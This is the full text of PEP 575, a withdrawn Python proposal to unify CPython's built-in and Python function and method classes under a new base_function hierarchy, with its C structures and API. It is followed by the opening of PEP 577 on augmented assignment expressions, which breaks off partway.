PEP 575 – Unifying function/method classes Author: Jeroen Demeyer <J.Demeyer at UGent.be> Status: Withdrawn Type: Standards Track Created: 27-Mar-2018 Python-Version: 3.8 Post-History: 31-Mar-2018, 12-Apr-2018, 27-Apr-2018, 05-May-2018 Table of Contents Withdrawal notice Abstract Motivation New classes base_function cfunction defined_function function bound_method Calling base_function instances Checking __objclass__ Flags Self slicing METH_PASS_FUNCTION METH_FASTCALL Automatic creation of built-in functions Unbound methods of extension types Built-in functions of a module Further changes New type flag C API functions Changes to the types module Changes to the inspect module Profiling Non-CPython implementations Rationale Why not simply change existing classes? Why __text_signature__ is not a solution defined_function versus function Scope of this PEP: which classes are involved? Not treating METH_STATIC and METH_CLASS __self__ in base_function Two implementations of __doc__ Subclassing Replacing tp_call: METH_PASS_FUNCTION and METH_CALL_UNBOUND Backwards compatibility Changes to types and inspect Python functions Built-in functions of a module Built-in bound and unbound methods New attributes method_descriptor and PyDescr_NewMethod Two-phase Implementation Phase one: keep existing classes but add base classes Phase two Reference Implementation Appendix: current situation builtin_function_or_method: built-in functions and bound methods method_descriptor: built-in unbound methods function: Python functions method: Python bound methods References Copyright Withdrawal notice See PEP 580 for a better solution to allowing fast calling of custom classes. See PEP 579 for a broader discussion of some of the other issues from this PEP. Abstract Reorganize the class hierarchy for functions and methods with the goal of reducing the difference between built-in functions (implemented in C) and Python functions. Mainly, make built-in functions behave more like Python functions without sacrificing performance. A new base class base_function is introduced and the various function classes, as well as method (renamed to bound_method), inherit from it. We also allow subclassing the Python function class. Motivation Currently, CPython has two different function classes: the first is Python functions, which is what you get when defining a function with def or lambda. The second is built-in functions such as len, isinstance or numpy.dot. These are implemented in C. These two classes are implemented completely independently and have different functionality. In particular, it is currently not possible to implement a function efficiently in C (only built-in functions can do that) while still allowing introspection like inspect.signature or inspect.getsourcefile (only Python functions can do that). This is a problem for projects like Cython [1] that want to do exactly that. In Cython, this was worked around by inventing a new function class called cyfunction. Unfortunately, a new function class creates problems: the inspect module does not recognize such functions as being functions [2] and the performance is worse (CPython has specific optimizations for calling built-in functions). A second motivation is more generally making built-in functions and methods behave more like Python functions and methods. For example, Python unbound methods are just functions but unbound methods of extension types (e.g. dict.get) are a distinct class. Bound methods of Python classes have a __func__ attribute, bound methods of extension types do not. Third, this PEP allows great customization of functions. The function class becomes subclassable and custom function subclasses are also allowed for functions implemented in C. In the latter case, this can be done with the same performance as true built-in functions. All functions can access the function object (the self in __call__), paving the way for PEP 573. New classes This is the new class hierarchy for functions and methods: object | | base_function / | \ / | \ / | defined_function / | \ cfunction (*) | \ | function | bound_method (*) The two classes marked with (*) do not allow subclassing; the others do. There is no difference between functions and unbound methods, while bound methods are instances of bound_method. base_function The class base_function becomes a new base class for all function types. It is based on the existing builtin_function_or_method class, but with the following differences and new features: It acts as a descriptor implementing __get__ to turn a function into a method if m_self is NULL. If m_self is not NULL, then this is a no-op: the existing function is returned instead. A new read-only attribute __parent__, represented in the C structure as m_parent. If this attribute exists, it represents the defining object. For methods of extension types, this is the defining class (__class__ in plain Python) and for functions of a module, this is the defining module. In general, it can be any Python object. If __parent__ is a class, it carries special semantics: in that case, the function must be called with self being an instance of that class. Finally, __qualname__ and __reduce__ will use __parent__ as namespace (instead of __self__ before). A new attribute __objclass__ which equals __parent__ if __parent__ is a class. Otherwise, accessing __objclass__ raises AttributeError. This is meant to be backwards compatible with method_descriptor. The field ml_doc and the attributes __doc__ and __text_signature__ (see Argument Clinic) are not supported. A new flag METH_PASS_FUNCTION for ml_flags. If this flag is set, the C function stored in ml_meth is called with an additional first argument equal to the function object. A new flag METH_BINDING for ml_flags which only applies to functions of a module (not methods of a class). If this flag is set, then m_self is set to NULL instead of the module. This allows the function to behave more like a Python function as it enables __get__. A new flag METH_CALL_UNBOUND to disable self slicing. A new flag METH_PYTHON for ml_flags. This flag indicates that this function should be treated as Python function. Ideally, use of this flag should be avoided because it goes against the duck typing philosophy. It is still needed in a few places though, for example profiling. The goal of base_function is that it supports all different ways of calling functions and methods in just one structure. For example, the new flag METH_PASS_FUNCTION will be used by the implementation of methods. It is not possible to directly create instances of base_function (tp_new is NULL). However, it is legal for C code to manually create instances. These are the relevant C structures: PyTypeObject PyBaseFunction_Type; typedef struct { PyObject_HEAD PyCFunctionDef *m_ml; /* Description of the C function to call */ PyObject *m_self; /* __self__: anything, can be NULL; readonly */ PyObject *m_module; /* __module__: anything (typically str) */ PyObject *m_parent; /* __parent__: anything, can be NULL; readonly */ PyObject *m_weakreflist; /* List of weak references */ } PyBaseFunctionObject; typedef struct { const char *ml_name; /* The name of the built-in function/method */ PyCFunction ml_meth; /* The C function that implements it */ int ml_flags; /* Combination of METH_xxx flags, which mostly describe the args expected by the C func */ } PyCFunctionDef; Subclasses may extend PyCFunctionDef with extra fields. The Python attribute __self__ returns m_self, except if METH_STATIC is set. In that case or if m_self is NULL, then there is no __self__ attribute at all. For that reason, we write either m_self or __self__ in this PEP with slightly different meanings. cfunction This is the new version of the old builtin_function_or_method class. The name cfunction was chosen to avoid confusion with “built-in” in the sense of “something in the builtins module”. It also fits better with the C API which use the PyCFunction prefix. The class cfunction is a copy of base_function, with the following differences: m_ml points to a PyMethodDef structure, extending PyCFunctionDef with an additional ml_doc field to implement __doc__ and __text_signature__ as read-only attributes:typedef struct { const char *ml_name; PyCFunction ml_meth; int ml_flags; const char *ml_doc; } PyMethodDef; Note that PyMethodDef is part of the Python Stable ABI and it is used by practically all extension modules, so we absolutely cannot change this structure. Argument Clinic is supported. __self__ always exists. In the cases where base_function.__self__ would raise AttributeError, instead None is returned. The type object is PyTypeObject PyCFunction_Type and we define PyCFunctionObject as alias of PyBaseFunctionObject (except for the type of m_ml). defined_function The class defined_function is an abstract base class meant to indicate that the function has introspection support. Instances of defined_function are required to support all attributes that Python functions have, namely __code__, __globals__, __doc__, __defaults__, __kwdefaults__, __closure__ and __annotations__. There is also a __dict__ to support attributes added by the user. None of these is required to be meaningful. In particular, __code__ may not be a working code object, possibly only a few fields may be filled in. This PEP does not dictate how the various attributes are implemented. They may be simple struct members or more complicated descriptors. Only read-only support is required, none of the attributes is required to be writable. The class defined_function is mainly meant for auto-generated C code, for example produced by Cython [1]. There is no API to create instances of it. The C structure is the following: PyTypeObject PyDefinedFunction_Type; typedef struct { PyBaseFunctionObject base; PyObject *func_dict; /* __dict__: dict or NULL */ } PyDefinedFunctionObject; TODO: maybe find a better name for defined_function. Other proposals: inspect_function (anything that satisfies inspect.isfunction), builtout_function (a function that is better built out; pun on builtin), generic_function (original proposal but conflicts with functools.singledispatch generic functions), user_function (defined by the user as opposed to CPython). function This is the class meant for functions implemented in Python. Unlike the other function types, instances of function can be created from Python code. This is not changed, so we do not describe the details in this PEP. The layout of the C structure is the following: PyTypeObject PyFunction_Type; typedef struct { PyBaseFunctionObject base; PyObject *func_dict; /* __dict__: dict or NULL */ PyObject *func_code; /* __code__: code */ PyObject *func_globals; /* __globals__: dict; readonly */ PyObject *func_name; /* __name__: string */ PyObject *func_qualname; /* __qualname__: string */ PyObject *func_doc; /* __doc__: can be anything or NULL */ PyObject *func_defaults; /* __defaults__: tuple or NULL */ PyObject *func_kwdefaults; /* __kwdefaults__: dict or NULL */ PyObject *func_closure; /* __closure__: tuple of cell objects or NULL; readonly */ PyObject *func_annotations; /* __annotations__: dict or NULL */ PyCFunctionDef _ml; /* Storage for base.m_ml */ } PyFunctionObject; The descriptor __name__ returns func_name. When setting __name__, also base.m_ml->ml_name is updated with the UTF-8 encoded name. The _ml field reserves space to be used by base.m_ml. A base_function instance must have the flag METH_PYTHON set if and only if it is an instance of function. When constructing an instance of function from code and globals, an instance is created with base.m_ml = &_ml, base.m_self = NULL. To make subclassing easier, we also add a copy constructor: if f is an instance of function, then types.FunctionType(f) copies f. This conveniently allows using a custom function type as decorator: >>> from types import FunctionType >>> class CustomFunction(FunctionType): ... pass >>> @CustomFunction ... def f(x): ... return x >>> type(f) <class '__main__.CustomFunction'> This also removes many use cases of functools.wraps: wrappers can be replaced by subclasses of function. bound_method The class bound_method is used for all bound methods, regardless of the class of the underlying function. It adds one new attribute on top of base_function: __func__ points to that function. bound_method replaces the old method class which was used only for Python functions bound as method. There is a complication because we want to allow constructing a method from an arbitrary callable. This may be an already-bound method or simply not an instance of base_function. Therefore, in practice there are two kinds of methods: For arbitrary callables, we use a single fixed PyCFunctionDef structure with the METH_PASS_FUNCTION flag set. For methods which bind instances of base_function (more precisely, which have the Py_TPFLAGS_BASEFUNCTION flag set) that have self slicing, we instead use the PyCFunctionDef from the original function. This way, we don’t lose any performance when calling bound methods. In this case, the __func__ attribute is only used to implement various attributes but not for calling the method. When constructing a new method from a base_function, we check that the self object is an instance of __objclass__ (if a class was specified as parent) and raise a TypeError otherwise. The C structure is: PyTypeObject PyMethod_Type; typedef struct { PyBaseFunctionObject base; PyObject *im_func; /* __func__: function implementing the method; readonly */ } PyMethodObject; Calling base_function instances We specify the implementation of __call__ for instances of base_function. Checking __objclass__ First of all, a type check is done if the __parent__ of the function is a class (recall that __objclass__ then becomes an alias of __parent__): if m_self is NULL (this is the case for unbound methods of extension types), then the function must be called with at least one positional argument and the first (typically called self) must be an instance of __objclass__. If not, a TypeError is raised. Note that bound methods have m_self != NULL, so the __objclass__ is not checked. Instead, the __objclass__ check is done when constructing the method. Flags For convenience, we define a new constant: METH_CALLFLAGS combines all flags from PyCFunctionDef.ml_flags which specify the signature of the C function to be called. It is equal to METH_VARARGS | METH_FASTCALL | METH_NOARGS | METH_O | METH_KEYWORDS | METH_PASS_FUNCTION Exactly one of the first four flags above must be set and only METH_VARARGS and METH_FASTCALL may be combined with METH_KEYWORDS. Violating these rules is undefined behaviour. There are one new flags which affects calling functions, namely METH_PASS_FUNCTION and METH_CALL_UNBOUND. Some flags are already documented in [5]. We explain the others below. Self slicing If the function has m_self == NULL and the flag METH_CALL_UNBOUND is not set, then the first positional argument (if any) is removed from *args and instead passed as first argument to the C function. Effectively, the first positional argument is treated as __self__. This is meant to support unbound methods such that the C function does not see the difference between bound and unbound method calls. This does not affect keyword arguments in any way. This process is called self slicing and a function is said to have self slicing if m_self == NULL and METH_CALL_UNBOUND is not set. Note that a METH_NOARGS function which has self slicing effectively has one argument, namely self. Analogously, a METH_O function with self slicing has two arguments. METH_PASS_FUNCTION If this flag is set, then the C function is called with an additional first argument, namely the function itself (the base_function instance). As special case, if the function is a bound_method, then the underlying function of the method is passed (but not recursively: if a bound_method wraps a bound_method, then __func__ is only applied once). For example, an ordinary METH_VARARGS function has signature (PyObject *self, PyObject *args). With METH_VARARGS | METH_PASS_FUNCTION, this becomes (PyObject *func, PyObject *self, PyObject *args). METH_FASTCALL This is an existing but undocumented flag. We suggest to officially support and document it. If the flag METH_FASTCALL is set without METH_KEYWORDS, then the ml_meth field is of type PyCFunctionFast which takes the arguments (PyObject *self, PyObject *const *args, Py_ssize_t nargs). Such a function takes only positional arguments and they are passed as plain C array args of length nargs. If the flags METH_FASTCALL | METH_KEYWORDS are set, then the ml_meth field is of type PyCFunctionFastKeywords which takes the arguments (PyObject *self, PyObject *const *args, Py_ssize_t nargs, PyObject *kwnames). The positional arguments are passed as C array args of length nargs. The values of the keyword arguments follow in that array, starting at position nargs. The keys (names) of the keyword arguments are passed as a tuple in kwnames. As an example, assume that 3 positional and 2 keyword arguments are given. Then args is an array of length 3 + 2 = 5, nargs equals 3 and kwnames is a 2-tuple. Automatic creation of built-in functions Python automatically generates instances of cfunction for extension types (using the PyTypeObject.tp_methods field) and modules (using the PyModuleDef.m_methods field). The arrays PyTypeObject.tp_methods and PyModuleDef.m_methods must be arrays of PyMethodDef structures. Unbound methods of extension types The type of unbound methods changes from method_descriptor to cfunction. The object which appears as unbound method is the same object which appears in the class __dict__. Python automatically sets the __parent__ attribute to the defining class. Built-in functions of a module For the case of functions of a module, __parent__ will be set to the module. Unless the flag METH_BINDING is given, also __self__ will be set to the module (for backwards compatibility). An important consequence is that such functions by default do not become methods when used as attribute (base_function.__get__ only does that if m_self was NULL). One could consider this a bug, but this was done for backwards compatibility reasons: in an initial post on python-ideas [6] the consensus was to keep this misfeature of built-in functions. However, to allow this anyway for specific or newly implemented built-in functions, the METH_BINDING flag prevents setting __self__. Further changes New type flag A new PyTypeObject flag (for tp_flags) is added: Py_TPFLAGS_BASEFUNCTION to indicate that instances of this type are functions which can be called and bound as method like a base_function. This is different from flags like Py_TPFLAGS_LIST_SUBCLASS because it indicates more than just a subclass: it also indicates a default implementation of __call__ and __get__. In particular, such subclasses of base_function must follow the implementation from the section Calling base_function instances. This flag is automatically set for extension types which inherit the tp_call and tp_descr_get implementation from base_function. Extension types can explicitly specify it if they override __call__ or __get__ in a compatible way. The flag Py_TPFLAGS_BASEFUNCTION must never be set for a heap type because that would not be safe (heap types can be changed dynamically). C API functions We list some relevant Python/C API macros and functions. Some of these are existing (possibly changed) functions, some are new: int PyBaseFunction_CheckFast(PyObject *op): return true if op is an instance of a class with the Py_TPFLAGS_BASEFUNCTION set. This is the function that you need to use to determine whether it is meaningful to access the base_function internals. int PyBaseFunction_Check(PyObject *op): return true if op is an instance of base_function. PyObject *PyBaseFunction_New(PyTypeObject *cls, PyCFunctionDef *ml, PyObject *self, PyObject *module, PyObject *parent): create a new instance of cls (which must be a subclass of base_function) from the given data. int PyCFunction_Check(PyObject *op): return true if op is an instance of cfunction. int PyCFunction_NewEx(PyMethodDef* ml, PyObject *self, PyObject* module): create a new instance of cfunction. As special case, if self is NULL, then set self = Py_None instead (for backwards compatibility). If self is a module, then __parent__ is set to self. Otherwise, __parent__ is NULL. For many existing PyCFunction_... and PyMethod_ functions, we define a new function PyBaseFunction_... acting on base_function instances. The old functions are kept as aliases of the new functions. int PyFunction_Check(PyObject *op): return true if op is an instance of base_function with the METH_PYTHON flag set (this is equivalent to checking whether op is an instance of function). int PyFunction_CheckFast(PyObject *op): equivalent to PyFunction_Check(op) && PyBaseFunction_CheckFast(op). int PyFunction_CheckExact(PyObject *op): return true if the type of op is function. PyObject *PyFunction_NewPython(PyTypeObject *cls, PyObject *code, PyObject *globals, PyObject *name, PyObject *qualname): create a new instance of cls (which must be a subclass of function) from the given data. PyObject *PyFunction_New(PyObject *code, PyObject *globals): create a new instance of function. PyObject *PyFunction_NewWithQualName(PyObject *code, PyObject *globals, PyObject *qualname): create a new instance of function. PyObject *PyFunction_Copy(PyTypeObject *cls, PyObject *func): create a new instance of cls (which must be a subclass of function) by copying a given function. Changes to the types module Two types are added: types.BaseFunctionType corresponding to base_function and types.DefinedFunctionType corresponding to defined_function. Apart from that, no changes to the types module are made. In particular, types.FunctionType refers to function. However, the actual types will change: in particular, types.BuiltinFunctionType will no longer be the same as types.BuiltinMethodType. Changes to the inspect module The new function inspect.isbasefunction checks for an instance of base_function. inspect.isfunction checks for an instance of defined_function. inspect.isbuiltin checks for an instance of cfunction. inspect.isroutine checks isbasefunction or ismethoddescriptor. NOTE: bpo-33261 [3] should be fixed first. Profiling Currently, sys.setprofile supports c_call, c_return and c_exception events for built-in functions. These events are generated when calling or returning from a built-in function. By contrast, the call and return events are generated by the function itself. So nothing needs to change for the call and return events. Since we no longer make a difference between C functions and Python functions, we need to prevent the c_* events for Python functions. This is done by not generating those events if the METH_PYTHON flag in ml_flags is set. Non-CPython implementations Most of this PEP is only relevant to CPython. For other implementations of Python, the two changes that are required are the base_function base class and the fact that function can be subclassed. The classes cfunction and defined_function are not required. We require base_function for consistency but we put no requirements on it: it is acceptable if this is just a copy of object. Support for the new __parent__ (and __objclass__) attribute is not required. If there is no defined_function class, then types.DefinedFunctionType should be an alias of types.FunctionType. Rationale Why not simply change existing classes? One could try to solve the problem by keeping the existing classes without introducing a new base_function class. That might look like a simpler solution but it is not: it would require introspection support for 3 distinct classes: function, builtin_function_or_method and method_descriptor. For the latter two classes, “introspection support” would mean at a minimum allowing subclassing. But we don’t want to lose performance, so we want fast subclass checks. This would require two new flags in tp_flags. And we want subclasses to allow __get__ for built-in functions, so we should implement the LOAD_METHOD opcode for built-in functions too. More generally, a lot of functionality would need to be duplicated and the end result would be far more complex code. It is also not clear how the introspection of built-in function subclasses would interact with __text_signature__. Having two independent kinds of inspect.signature support on the same class sounds like asking for problems. And this would not fix some of the other differences between built-in functions and Python functions that were mentioned in the motivation. Why __text_signature__ is not a solution Built-in functions have an attribute __text_signature__, which gives the signature of the function as plain text. The default values are evaluated by ast.literal_eval. Because of this, it supports only a small number of standard Python classes and not arbitrary Python objects. And even if __text_signature__ would allow arbitrary signatures somehow, that is only one piece of introspection: it does not help with inspect.getsourcefile for example. defined_function versus function In many places, a decision needs to be made whether the old function class should be replaced by defined_function or the new function class. This is done by thinking of the most likely use case: types.FunctionType refers to function because that type might be used to construct instances using types.FunctionType(...). inspect.isfunction() refers to defined_function because this is the class where introspection is supported. The C API functions must refer to function because we do not specify how the various attributes of defined_function are implemented. We expect that this is not a problem since there is typically no reason for introspection to be done by C extensions. Scope of this PEP: which classes are involved? The main motivation of this PEP is fixing function classes, so we certainly want to unify the existing classes builtin_function_or_method and function. Since built-in functions and methods have the same class, it seems natural to include bound methods too. And since there are no “unbound methods” for Python functions, it makes sense to get rid of unbound methods for extension types. For now, no changes are made to the classes staticmethod, classmethod and classmethod_descriptor. It would certainly make sense to put these in the base_function class hierarchy and unify classmethod and classmethod_descriptor. However, this PEP is already big enough and this is left as a possible future improvement. Slot wrappers for extension types like __init__ or __eq__ are quite different from normal methods. They are also typically not called directly because you would normally write foo[i] instead of foo.__getitem__(i). So these are left outside the scope of this PEP. Python also has an instancemethod class, which seems to be a relic from Python 2, where it was used for bound and unbound methods. It is not clear whether there is still a use case for it. In any case, there is no reason to deal with it in this PEP. TODO: should instancemethod be deprecated? It doesn’t seem used at all within CPython 3.7, but maybe external packages use it? Not treating METH_STATIC and METH_CLASS Almost nothing in this PEP refers to the flags METH_STATIC and METH_CLASS. These flags are checked only by the automatic creation of built-in functions. When a staticmethod, classmethod or classmethod_descriptor is bound (i.e. __get__ is called), a base_function instance is created with m_self != NULL. For a classmethod, this is obvious since m_self is the class that the method is bound to. For a staticmethod, one can take an arbitrary Python object for m_self. For backwards compatibility, we choose m_self = __parent__ for static methods of extension types. __self__ in base_function It may look strange at first sight to add the __self__ slot in base_function as opposed to bound_method. We took this idea from the existing builtin_function_or_method class. It allows us to have a single general implementation of __call__ and __get__ for the various function classes discussed in this PEP. It also makes it easy to support existing built-in functions which set __self__ to the module (for example, sys.exit.__self__ is sys). Two implementations of __doc__ base_function does not support function docstrings. Instead, the classes cfunction and function each have their own way of dealing with docstrings (and bound_method just takes the __doc__ from the wrapped function). For cfunction, the docstring is stored (together with the text signature) as C string in the read-only ml_doc field of a PyMethodDef. For function, the docstring is stored as a writable Python object and it does not actually need to be a string. It looks hard to unify these two very different ways of dealing with __doc__. For backwards compatibility, we keep the existing implementations. For defined_function, we require __doc__ to be implemented but we do not specify how. A subclass can implement __doc__ the same way as cfunction or using a struct member or some other way. Subclassing We disallow subclassing of cfunction and bound_method to enable fast type checks for PyCFunction_Check and PyMethod_Check. We allow subclassing of the other classes because there is no reason to disallow it. For Python modules, the only relevant class to subclass is function because the others cannot be instantiated anyway. Replacing tp_call: METH_PASS_FUNCTION and METH_CALL_UNBOUND The new flags METH_PASS_FUNCTION and METH_CALL_UNBOUND are meant to support cases where formerly a custom tp_call was used. It reduces the number of special fast paths in Python/ceval.c for calling objects: instead of treating Python functions, built-in functions and method descriptors separately, there would only be a single check. The signature of tp_call is essentially the signature of PyBaseFunctionObject.m_ml.ml_meth with flags METH_VARARGS | METH_KEYWORDS | METH_PASS_FUNCTION | METH_CALL_UNBOUND (the only difference is an added self argument). Therefore, it should be easy to change existing tp_call slots to use the base_function implementation instead. It also makes sense to use METH_PASS_FUNCTION without METH_CALL_UNBOUND in cases where the C function simply needs access to additional metadata from the function, such as the __parent__. This is for example needed to support PEP 573. Converting existing methods to use METH_PASS_FUNCTION is trivial: it only requires adding an extra argument to the C function. Backwards compatibility While designing this PEP, great care was taken to not break backwards compatibility too much. Most of the potentially incompatible changes are changes to CPython implementation details which are different anyway in other Python interpreters. In particular, Python code which correctly runs on PyPy will very likely continue to work with this PEP. The standard classes and functions like staticmethod, functools.partial or operator.methodcaller do not need to change at all. Changes to types and inspect The proposed changes to types and inspect are meant to minimize changes in behaviour. However, it is unavoidable that some things change and this can cause code which uses types or inspect to break. In the Python standard library for example, changes are needed in the doctest module because of this. Also, tools which take various kinds of functions as input will need to deal with the new function hierarchy and the possibility of custom function classes. Python functions For Python functions, essentially nothing changes. The attributes that existed before still exist and Python functions can be initialized, called and turned into methods as before. The name function is kept for backwards compatibility. While it might make sense to change the name to something more specific like python_function, that would require a lot of annoying changes in documentation and testsuites. Built-in functions of a module Also for built-in functions, nothing changes. We keep the old behaviour that such functions do not bind as methods. This is a consequence of the fact that __self__ is set to the module. Built-in bound and unbound methods The types of built-in bound and unbound methods will change. However, this does not affect calling such methods because the protocol in base_function.__call__ (in particular the handling of __objclass__ and self slicing) was specifically designed to be backwards compatible. All attributes which existed before (like __objclass__ and __self__) still exist. New attributes Some objects get new special double-underscore attributes. For example, the new attribute __parent__ appears on all built-in functions and all methods get a __func__ attribute. The fact that __self__ is now a special read-only attribute for Python functions caused trouble in [4]. Generally, we expect that not much will break though. method_descriptor and PyDescr_NewMethod The class method_descriptor and the constructor PyDescr_NewMethod should be deprecated. They are no longer used by CPython itself but are still supported. Two-phase Implementation TODO: this section is optional. If this PEP is accepted, it should be decided whether to apply this two-phase implementation or not. As mentioned above, the changes to types and inspect can break some existing code. In order to further minimize breakage, this PEP could be implemented in two phases. Phase one: keep existing classes but add base classes Initially, implement the base_function class and use it as common base class but otherwise keep the existing classes (but not their implementation). In this proposal, the class hierarchy would become: object | | base_function / | \ / | \ / | \ cfunction | defined_function | | | \ | | bound_method \ | | \ | method_descriptor function | builtin_function_or_method The leaf classes builtin_function_or_method, method_descriptor, bound_method and function correspond to the existing classes (with method renamed to bound_method). Automatically created functions created in modules become instances of builtin_function_or_method. Unbound methods of extension types become instances of method_descriptor. The class method_descriptor is a copy of cfunction except that __get__ returns a builtin_function_or_method instead of a bound_method. The class builtin_function_or_method has the same C structure as a bound_method, but it inherits from cfunction. The __func__ attribute is not mandatory: it is only defined when binding a method_descriptor. We keep the implementation of the inspect functions as they are. Because of this and because the existing classes are kept, backwards compatibility is ensured for code doing type checks. Since showing an actual DeprecationWarning would affect a lot of correctly-functioning code, any deprecations would only appear in the documentation. Another reason is that it is hard to show warnings for calling isinstance(x, t) (but it could be done using __instancecheck__ hacking) and impossible for type(x) is t. Phase two Phase two is what is actually described in the rest of this PEP. In terms of implementation, it would be a relatively small change compared to phase one. Reference Implementation Most of this PEP has been implemented for CPython at https://github.com/jdemeyer/cpython/tree/pep575 There are four steps, corresponding to the commits on that branch. After each step, CPython is in a mostly working state. Add the base_function class and make it a subclass for cfunction. This is by far the biggest step as the complete __call__ protocol is implemented in this step. Rename method to bound_method and make it a subclass of base_function. Change unbound methods of extension types to be instances of cfunction such that bound methods of extension types are also instances of bound_method. Implement defined_function and function. Changes to other parts of Python, such as the standard library and testsuite. Appendix: current situation NOTE: This section is more useful during the draft period of the PEP, so feel free to remove this once the PEP has been accepted. For reference, we describe in detail the relevant existing classes in CPython 3.7. Each of the classes involved is an “orphan” class (no non-trivial subclasses nor superclasses). builtin_function_or_method: built-in functions and bound methods These are of type PyCFunction_Type with structure PyCFunctionObject: typedef struct { PyObject_HEAD PyMethodDef *m_ml; /* Description of the C function to call */ PyObject *m_self; /* Passed as 'self' arg to the C func, can be NULL */ PyObject *m_module; /* The __module__ attribute, can be anything */ PyObject *m_weakreflist; /* List of weak references */ } PyCFunctionObject; struct PyMethodDef { const char *ml_name; /* The name of the built-in function/method */ PyCFunction ml_meth; /* The C function that implements it */ int ml_flags; /* Combination of METH_xxx flags, which mostly describe the args expected by the C func */ const char *ml_doc; /* The __doc__ attribute, or NULL */ }; where PyCFunction is a C function pointer (there are various forms of this, the most basic takes two arguments for self and *args). This class is used both for functions and bound methods: for a method, the m_self slot points to the object: >>> dict(foo=42).get <built-in method get of dict object at 0x...> >>> dict(foo=42).get.__self__ {'foo': 42} In some cases, a function is considered a “method” of the module defining it: >>> import os >>> os.kill <built-in function kill> >>> os.kill.__self__ <module 'posix' (built-in)> method_descriptor: built-in unbound methods These are of type PyMethodDescr_Type with structure PyMethodDescrObject: typedef struct { PyDescrObject d_common; PyMethodDef *d_method; } PyMethodDescrObject; typedef struct { PyObject_HEAD PyTypeObject *d_type; PyObject *d_name; PyObject *d_qualname; } PyDescrObject; function: Python functions These are of type PyFunction_Type with structure PyFunctionObject: typedef struct { PyObject_HEAD PyObject *func_code; /* A code object, the __code__ attribute */ PyObject *func_globals; /* A dictionary (other mappings won't do) */ PyObject *func_defaults; /* NULL or a tuple */ PyObject *func_kwdefaults; /* NULL or a dict */ PyObject *func_closure; /* NULL or a tuple of cell objects */ PyObject *func_doc; /* The __doc__ attribute, can be anything */ PyObject *func_name; /* The __name__ attribute, a string object */ PyObject *func_dict; /* The __dict__ attribute, a dict or NULL */ PyObject *func_weakreflist; /* List of weak references */ PyObject *func_module; /* The __module__ attribute, can be anything */ PyObject *func_annotations; /* Annotations, a dict or NULL */ PyObject *func_qualname; /* The qualified name */ /* Invariant: * func_closure contains the bindings for func_code->co_freevars, so * PyTuple_Size(func_closure) == PyCode_GetNumFree(func_code) * (func_closure may be NULL if PyCode_GetNumFree(func_code) == 0). */ } PyFunctionObject; In Python 3, there is no “unbound method” class: an unbound method is just a plain function. method: Python bound methods These are of type PyMethod_Type with structure PyMethodObject: typedef struct { PyObject_HEAD PyObject *im_func; /* The callable object implementing the method */ PyObject *im_self; /* The instance it is bound to */ PyObject *im_weakreflist; /* List of weak references */ } PyMethodObject; References [1] (1, 2) Cython (http://cython.org/) [2] Python bug 30071, Duck-typing inspect.isfunction() (https://bugs.python.org/issue30071) [3] Python bug 33261, inspect.isgeneratorfunction fails on hand-created methods (https://bugs.python.org/issue33261 and https://github.com/python/cpython/pull/6448) [4] Python bug 33265, contextlib.ExitStack abuses __self__ (https://bugs.python.org/issue33265 and https://github.com/python/cpython/pull/6456) [5] PyMethodDef documentation (https://docs.python.org/3.7/c-api/structures.html#c.PyMethodDef) [6] PEP proposal: unifying function/method classes (https://mail.python.org/pipermail/python-ideas/2018-March/049398.html) Copyright This document has been placed in the public domain.

Withdrawn

PEP 575 – Unifying function/method classes

Standards Track

Reorganize the class hierarchy for functions and methods with the goal of reducing the difference between built-in functions (implemented in C) and Python functions. Mainly, make built-in functions behave more like Python functions without sacrificing performance.

PEP 577 – Augmented Assignment Expressions Author: Alyssa Coghlan <ncoghlan at gmail.com> Status: Withdrawn Type: Standards Track Created: 14-May-2018 Python-Version: 3.8 Post-History: 22-May-2018 Table of Contents PEP Withdrawal Abstract Syntax and semantics Augmented assignment expressions Adding an inline assignment operator Assignment operator precedence Augmented assignment to names in block scopes Augmented assignment to names in scoped expressions Design discussion Allowing complex assignment targets Augmented assignment or name binding only? Postponing a decision on expression level target declarations Ignoring scoped expressions when determining augmented assignment targets Treating inline assignment as an augmented assignment variant Disallowing augmented assignments in class level scoped expressions Comparison operators vs assignment operators Examples Simplifying retry loops Simplifying if-elif chains Capturing intermediate values from comprehensions Allowing lambda expressions to act more like re-usable code thunks Relationship with PEP 572 Acknowledgements References Copyright PEP Withdrawal While working on this PEP, I realised that it didn’t really address what was actually bothering me about PEP 572’s proposed scoping rules for previously unreferenced assignment targets, and also had some significant undesirable consequences (most notably, allowing >>= and <<= as inline augmented assignment operators that meant something entirely different from the >= and <= comparison operators). I also realised that even without dedicated syntax of their own, PEP 572 technically allows inline augmented assignments to be written using the operator module: from operator import iadd if (target := iadd(target, value)) < limit: ... The restriction to simple names as inline assignment targets means that the target expression can always be repeated without side effects, and thus avoids the ambiguity that would arise from allowing actual embedded augmented assignments (it’s still a bad idea, since it would almost certainly be hard for humans to read, this note is just about the theoretical limits of language level expressiveness). Accordingly, I withdrew this PEP without submitting it for pronouncement. At the time I also started writing a replacement PEP that focused specifically on the handling of assignment targets which hadn’t already been declared as local variables in the current scope (for both regular block scopes, and for scoped expressions), but that draft never even reached a stage where I liked it better than the ultimately accepted proposal in PEP 572, so it was never posted anywhere, nor assigned a PEP number. Abstract This is a proposal to allow augmented assignments such as x += 1 to be used as expressions, not just statements. As part of this, NAME := EXPR is proposed as an inline assignment expression that uses the new augmented assignment scoping rules, rather than implicitly defining a new local variable name the way that existing name binding statements do. The question of allowing expression level local variable declarations at function scope is deliberately separated from the question of allowing expression level name bindings, and deferred to a later PEP. This PEP is a direct competitor to PEP 572 (although it borrows heavily from that PEP’s motivation, and even shares the proposed syntax for inline assignments). See Relationship with PEP 572 for more details on the connections between the two PEPs. To improve the usability of the new expressions, a semantic split is proposed between the handling of augmented assignments in regular block scopes (modules, classes, and functions), and the handling of augmented assignments in scoped expressions (lambda expressions, generator expressions, and comprehensions), such that all inline assignments default to targeting the nearest containing block scope. A new compile time TargetNameError is added as a subclass of SyntaxError to handle cases where it is deemed to be currently unclear which target is expected to be rebound by an inline assignment, or else the target scope for the inline assignment is considered invalid for another reason. Syntax and semantics Augmented assignment expressions The language grammar would be adjusted to allow augmented assignments to appear as expressions, where the result of the augmented assignment expression is the same post-calculation reference as is being bound to the given target. For example: >>> n = 0 >>> n += 5 5 >>> n -= 2 3 >>> n *= 3 9 >>> n 9 For mutable targets, this means the result is always just the original object: >>> seq = [] >>> seq_id = id(seq) >>> seq += range(3) [0, 1, 2] >>> seq_id == id(seq) True Augmented assignments to attributes and container subscripts will be permitted, with the result being the post-calculation reference being bound to the target, just as it is for simple name targets: def increment(self, step=1): return self._value += step In these cases, __getitem__ and 